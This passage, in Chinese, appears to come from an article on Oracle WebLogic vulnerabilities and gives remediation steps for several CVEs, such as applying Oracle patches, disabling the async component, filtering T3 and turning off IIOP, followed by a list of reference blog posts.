2、CVE-2017-3506
升级补丁
官网补丁:https://www.oracle.com/security-alerts/cpuoct2017.html
3、CVE-2017-10271
升级补丁
官网补丁:https://www.oracle.com/security-alerts/cpuoct2017.html
4、CVE-2019-2725
禁用bea_wls9_async_response组件
5、CVE-2018-2628
过滤T3协议或安装补丁
6、CVE-2018-2894
升级到最新版本,这两处页面已删除
7、CVE-2014-4210
升级补丁
8、CVE-2020-14882 | CVE-2020-14883
升级补丁
官方补丁:https://www.oracle.com/security-alerts/cpuoct2020traditional.html
9、CVE-2020-2551
通过 weblogic 控制台进行关闭 IIOP 协议,然后重新启动 weblogic服务。
安装 weblogic 修复补丁,进行修复。
七、参考
weblogic SSRF漏洞(CVE-2014-4210)检测利用tdcoming'blog-CSDN博客cve-2014-4210
Weblogic SSRF漏洞复现(CVE-2014-4210)-Linux实验室 (wanyunshuju.com)
CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞 - 只言 - 博客园 (cnblogs.com)